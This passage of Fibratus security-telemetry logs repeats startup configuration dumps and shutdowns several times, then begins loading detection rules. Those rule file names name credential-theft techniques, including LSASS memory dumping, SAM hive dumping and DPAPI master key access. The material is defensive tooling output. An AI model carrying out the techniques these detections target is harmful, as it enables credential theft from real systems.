enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ enabled=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] scan-timeout=>10s skip-files=>false skip-mmaps=>false skip-allocs=>false skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-23T01:43:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:43:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:44:06+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T01:44:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:44:07+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T02:04:03+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T02:04:03+01:00 level=info msg=bootstrapping with pid 2368. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T02:04:03+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] port=>25 enabled=>false content-type=>text/html use-template=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ buffer-size=>512 max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-threadpool=>false enable-audit-api=>true enable-net=>true enable-vamap=>true enable-registry=>true min-buffers=>16 stack-enrichment=>true enable-mem=>false enable-dns=>false enable-handle=>false enable-thread=>true enable-fileio=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-size=>100 formatter=>text level=>info max-backups=>15 max-age=>0] + output ......................... [ http=>[ serializer=>json enable-gzip=>false timeout=>5s method=>POST enabled=>false endpoints=>[] tls-insecure-skip-verify=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false] amqp=>[ passive=>false routing-key=>fibratus durable=>false exchange-type=>topic url=>amqp://localhost:5672 enabled=>false delivery-mode=>transient timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/] elasticsearch=>[ healthcheck=>true template-name=>fibratus enabled=>false servers=>[http://127.0.0.1:9200] sniff=>false healthcheck-interval=>10s flush-period=>1s trace-log=>false bulk-workers=>1 healthcheck-timeout=>5s gzip-compression=>false index-name=>fibratus timeout=>5s]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false scan-timeout=>10s skip-allocs=>false excluded-procs=>[] skip-files=>false skip-registry=>false fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-23T02:04:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T02:04:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T02:04:21+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T02:04:21+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T02:04:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T16:58:53+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T16:58:53+01:00 level=info msg=bootstrapping with pid 16924. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T16:58:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false content-type=>text/html use-template=>true port=>25 to=>[]] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-dns=>false enable-thread=>true enable-threadpool=>false min-buffers=>16 enable-fileio=>true enable-registry=>true stack-enrichment=>true enable-handle=>false buffer-size=>512 enable-audit-api=>true enable-image=>true enable-vamap=>true flush-interval=>1s max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-backups=>15 max-size=>100 formatter=>text level=>info] + output ......................... [ amqp=>[ durable=>false url=>amqp://localhost:5672 routing-key=>fibratus timeout=>5s delivery-mode=>transient vhost=>/ passive=>false exchange-type=>topic enabled=>false exchange=>fibratus tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck=>true bulk-workers=>1 timeout=>5s trace-log=>false enabled=>false healthcheck-interval=>10s template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s flush-period=>1s index-name=>fibratus sniff=>false gzip-compression=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true] http=>[ timeout=>5s enable-gzip=>false enabled=>false endpoints=>[] serializer=>json method=>POST tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false fastscan=>true skip-registry=>false excluded-procs=>[] skip-mmaps=>false scan-timeout=>10s skip-allocs=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-23T16:58:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T16:58:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T16:59:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T16:59:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T16:59:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T17:00:24+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T17:00:24+01:00 level=info msg=bootstrapping with pid 3772. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T17:00:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 enabled=>false use-template=>true content-type=>text/html to=>[]] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ min-buffers=>16 max-buffers=>36 enable-threadpool=>false enable-thread=>true buffer-size=>512 enable-audit-api=>true enable-image=>true enable-handle=>false stack-enrichment=>true enable-vamap=>true flush-interval=>1s enable-dns=>false enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-fileio=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-size=>100 max-backups=>15 log-stdout=>true max-age=>0] + output ......................... [ elasticsearch=>[ flush-period=>1s timeout=>5s enabled=>false index-name=>fibratus gzip-compression=>false healthcheck=>true bulk-workers=>1 servers=>[http://127.0.0.1:9200] sniff=>false healthcheck-interval=>10s healthcheck-timeout=>5s template-name=>fibratus trace-log=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ routing-key=>fibratus exchange-type=>topic url=>amqp://localhost:5672 enabled=>false vhost=>/ timeout=>5s tls-insecure-skip-verify=>false passive=>false delivery-mode=>transient durable=>false exchange=>fibratus] http=>[ timeout=>5s tls-insecure-skip-verify=>false method=>POST endpoints=>[] enable-gzip=>false enabled=>false serializer=>json] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false scan-timeout=>10s excluded-files=>[] skip-mmaps=>false skip-files=>false fastscan=>true excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-23T17:00:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T17:00:27+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T17:03:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T17:03:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T17:03:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T17:04:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T17:04:33+01:00 level=info msg=bootstrapping with pid 1620. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T17:04:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] port=>25 enabled=>false content-type=>text/html use-template=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-mem=>false enable-handle=>false stack-enrichment=>true flush-interval=>1s buffer-size=>512 enable-net=>true enable-image=>true max-buffers=>36 enable-vamap=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-dns=>false enable-audit-api=>true min-buffers=>16 enable-fileio=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 log-stdout=>true max-size=>100 formatter=>text max-backups=>15] + output ......................... [ elasticsearch=>[ gzip-compression=>false healthcheck-interval=>10s timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s template-name=>fibratus bulk-workers=>1 enabled=>false healthcheck=>true index-name=>fibratus healthcheck-timeout=>5s trace-log=>false sniff=>false] http=>[ method=>POST enabled=>false timeout=>5s endpoints=>[] serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false] amqp=>[ exchange-type=>topic enabled=>false delivery-mode=>transient passive=>false exchange=>fibratus routing-key=>fibratus url=>amqp://localhost:5672 durable=>false tls-insecure-skip-verify=>false timeout=>5s vhost=>/] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-mmaps=>false skip-registry=>false scan-timeout=>10s enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-allocs=>false skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-23T17:04:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T17:04:37+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T17:06:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T17:06:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T17:06:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T17:10:30+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T17:10:30+01:00 level=info msg=bootstrapping with pid 4396. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T17:10:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false to=>[] port=>25 content-type=>text/html use-template=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-image=>true max-buffers=>36 flush-interval=>1s enable-fileio=>true buffer-size=>512 min-buffers=>16 enable-mem=>false enable-threadpool=>false enable-dns=>false enable-net=>true enable-thread=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-audit-api=>true stack-enrichment=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 log-stdout=>true level=>info formatter=>text max-size=>100] + output ......................... [ http=>[ enable-gzip=>false method=>POST enabled=>false tls-insecure-skip-verify=>false timeout=>5s serializer=>json endpoints=>[]] elasticsearch=>[ index-name=>fibratus healthcheck-timeout=>5s healthcheck=>true healthcheck-interval=>10s timeout=>5s trace-log=>false enabled=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false template-name=>fibratus sniff=>false flush-period=>1s bulk-workers=>1] amqp=>[ delivery-mode=>transient routing-key=>fibratus exchange=>fibratus tls-insecure-skip-verify=>false passive=>false timeout=>5s enabled=>false url=>amqp://localhost:5672 exchange-type=>topic durable=>false vhost=>/] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-files=>[] skip-mmaps=>false excluded-procs=>[] skip-allocs=>false skip-files=>false scan-timeout=>10s fastscan=>true skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-23T17:10:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T17:10:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T17:12:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T17:12:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T17:12:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T17:13:17+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T17:13:17+01:00 level=info msg=bootstrapping with pid 3328. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T17:13:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] enabled=>false use-template=>true port=>25 content-type=>text/html]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-vamap=>true enable-handle=>false max-buffers=>36 enable-fileio=>true enable-image=>true enable-net=>true enable-threadpool=>false enable-mem=>false enable-audit-api=>true min-buffers=>16 flush-interval=>1s enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-registry=>true stack-enrichment=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true level=>info max-age=>0 max-size=>100 max-backups=>15] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty] http=>[ enabled=>false method=>POST serializer=>json enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s] amqp=>[ timeout=>5s durable=>false exchange=>fibratus routing-key=>fibratus passive=>false exchange-type=>topic delivery-mode=>transient enabled=>false url=>amqp://localhost:5672 vhost=>/ tls-insecure-skip-verify=>false] elasticsearch=>[ gzip-compression=>false sniff=>false healthcheck-timeout=>5s template-name=>fibratus flush-period=>1s enabled=>false healthcheck=>true servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck-interval=>10s bulk-workers=>1 trace-log=>false index-name=>fibratus] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-mmaps=>false skip-registry=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-files=>false fastscan=>true skip-allocs=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-23T17:13:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T17:13:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T17:13:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T17:13:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T17:13:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T17:15:35+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T17:15:35+01:00 level=info msg=bootstrapping with pid 8132. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T17:15:35+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] use-template=>true port=>25 enabled=>false] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true enable-handle=>false flush-interval=>1s max-buffers=>36 enable-net=>true enable-mem=>false enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-audit-api=>true enable-thread=>true enable-image=>true min-buffers=>16 enable-dns=>false buffer-size=>512 enable-threadpool=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 max-backups=>15 level=>info formatter=>text log-stdout=>true] + output ......................... [ elasticsearch=>[ gzip-compression=>false bulk-workers=>1 trace-log=>false timeout=>5s healthcheck-timeout=>5s index-name=>fibratus enabled=>false servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-interval=>10s healthcheck=>true template-name=>fibratus sniff=>false] http=>[ serializer=>json enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false enabled=>false method=>POST endpoints=>[]] amqp=>[ delivery-mode=>transient enabled=>false exchange-type=>topic exchange=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus vhost=>/ passive=>false timeout=>5s durable=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] skip-files=>false excluded-files=>[] skip-allocs=>false skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-23T17:15:36+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T17:15:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T17:15:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T17:15:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T17:15:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:07:01+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from 